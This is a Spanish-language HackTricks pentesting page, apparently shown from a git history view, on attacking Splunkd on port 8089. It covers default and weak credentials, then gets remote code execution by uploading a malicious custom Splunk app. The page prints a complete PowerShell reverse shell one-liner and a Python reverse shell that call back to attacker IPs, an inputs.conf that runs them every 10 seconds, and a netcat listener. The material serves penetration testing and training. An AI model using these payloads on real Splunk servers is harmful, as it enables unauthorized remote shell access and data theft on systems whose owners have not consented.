hacktricks/network-services-pentesting/8089-splunkd.md

141 lines
8.9 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# 8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
2023-06-05 18:33:24 +00:00
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}
2023-06-05 18:33:24 +00:00
## **Información Básica**
2023-06-05 18:33:24 +00:00
Splunk es una **herramienta de análisis de registros** que juega un papel crucial en **la recopilación, análisis y visualización de datos**. Aunque su propósito inicial no era servir como una **herramienta SIEM (Gestión de Información y Eventos de Seguridad)**, ha ganado popularidad en el ámbito de **monitoreo de seguridad** y **análisis de negocios**.
2023-06-05 18:33:24 +00:00
Las implementaciones de Splunk se utilizan frecuentemente para almacenar **datos sensibles** y pueden servir como una **fuente valiosa de información** para posibles atacantes si logran comprometer el sistema. **Puerto por defecto:** 8089
2023-06-05 18:33:24 +00:00
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
El **servidor web de Splunk se ejecuta por defecto en el puerto 8000**.
2023-06-05 18:33:24 +00:00
{% endhint %}
## Enumeración
### Versión Gratuita
2023-06-05 18:33:24 +00:00
La prueba de Splunk Enterprise se convierte en una **versión gratuita después de 60 días**, que **no requiere autenticación**. No es raro que los administradores de sistemas instalen una prueba de Splunk para probarlo, que **posteriormente se olvida**. Esto se convertirá automáticamente en la versión gratuita que no tiene ninguna forma de autenticación, introduciendo un agujero de seguridad en el entorno. Algunas organizaciones pueden optar por la versión gratuita debido a restricciones presupuestarias, sin comprender completamente las implicaciones de no tener gestión de usuarios/roles.
2023-06-05 18:33:24 +00:00
### Credenciales Predeterminadas
2023-06-05 18:33:24 +00:00
En versiones más antiguas de Splunk, las credenciales predeterminadas son **`admin:changeme`**, que se muestran convenientemente en la página de inicio de sesión.\
Sin embargo, **la última versión de Splunk** establece **credenciales** **durante el proceso de instalación**. Si las credenciales predeterminadas no funcionan, vale la pena verificar contraseñas débiles comunes como `admin`, `Welcome`, `Welcome1`, `Password123`, etc.
2023-06-05 18:33:24 +00:00
### Obtener Información
2023-06-05 18:33:24 +00:00
Una vez que iniciamos sesión en Splunk, podemos **navegar por los datos,** ejecutar **informes**, crear **tableros**, **instalar aplicaciones** de la biblioteca Splunkbase e instalar aplicaciones personalizadas.\
También puedes ejecutar código: Splunk tiene múltiples formas de **ejecutar código**, como aplicaciones Django del lado del servidor, puntos finales REST, entradas scriptadas y scripts de alerta. Un método común para obtener ejecución remota de código en un servidor Splunk es a través del uso de una entrada scriptada.
2023-06-05 18:33:24 +00:00
Además, dado que Splunk se puede instalar en hosts de Windows o Linux, se pueden crear entradas scriptadas para ejecutar scripts de Bash, PowerShell o Batch.
2023-06-05 18:33:24 +00:00
### Shodan
* `Splunk build`
2023-06-05 18:33:24 +00:00
## RCE
### Crear Aplicación Personalizada
2023-06-05 18:33:24 +00:00
Una aplicación personalizada puede ejecutar **scripts de Python, Batch, Bash o PowerShell**.\
Ten en cuenta que **Splunk viene con Python instalado**, por lo que incluso en sistemas **Windows** podrás ejecutar código python.
2023-06-05 18:33:24 +00:00
Puedes usar [**este**](https://github.com/0xjpuff/reverse\_shell\_splunk) paquete de Splunk para ayudarnos. El directorio **`bin`** en este repositorio tiene ejemplos para [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) y [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Vamos a recorrer esto paso a paso.
2023-06-05 18:33:24 +00:00
Para lograr esto, primero necesitamos crear una aplicación personalizada de Splunk utilizando la siguiente estructura de directorio:
2023-06-05 18:33:24 +00:00
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
El **`bin`** directorio contendrá cualquier **script que pretendamos ejecutar** (en este caso, un **PowerShell** reverse shell), y el directorio predeterminado tendrá nuestro archivo `inputs.conf`. Nuestro reverse shell será un **PowerShell one-liner:**
2023-06-05 18:33:24 +00:00
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
El archivo [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) le dice a Splunk **qué script ejecutar** y cualquier otra condición. Aquí configuramos la aplicación como habilitada y le decimos a Splunk que ejecute el script cada 10 segundos. El intervalo siempre está en segundos, y la entrada (script) solo se ejecutará si esta configuración está presente.
2023-06-05 18:33:24 +00:00
```shell-session
cat inputs.conf
2023-06-05 18:33:24 +00:00
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
2023-06-05 18:33:24 +00:00
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Necesitamos el archivo `.bat`, que se ejecutará cuando la aplicación se despliegue y ejecute la línea de comando de PowerShell.
2023-06-05 18:33:24 +00:00
El siguiente paso es elegir `Install app from file` y subir la aplicación.
2023-06-05 18:33:24 +00:00
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
Antes de subir la aplicación personalizada maliciosa, comencemos un listener usando Netcat o [socat](https://linux.die.net/man/1/socat).
2023-06-05 18:33:24 +00:00
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
En la página `Upload app`, haz clic en explorar, elige el tarball que creamos anteriormente y haz clic en `Upload`. Tan **pronto como subamos la aplicación**, se **recibirá un reverse shell** ya que el estado de la aplicación se cambiará automáticamente a `Enabled`.
2023-06-05 18:33:24 +00:00
#### Linux
Si estuviéramos tratando con un **host de Linux**, tendríamos que **editar el script de Python `rev.py`** antes de crear el tarball y subir la aplicación maliciosa personalizada. El resto del proceso sería el mismo, y obtendríamos una conexión de reverse shell en nuestro oyente de Netcat y estaríamos listos para comenzar.
2023-06-05 18:33:24 +00:00
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Escalación de Privilegios
2023-06-05 18:33:24 +00:00
En la siguiente página puedes encontrar una explicación de cómo este servicio puede ser abusado para escalar privilegios y obtener persistencia:
2023-06-05 18:33:24 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## Referencias
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
<summary>Apoya a HackTricks</summary>
2023-06-05 18:33:24 +00:00
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}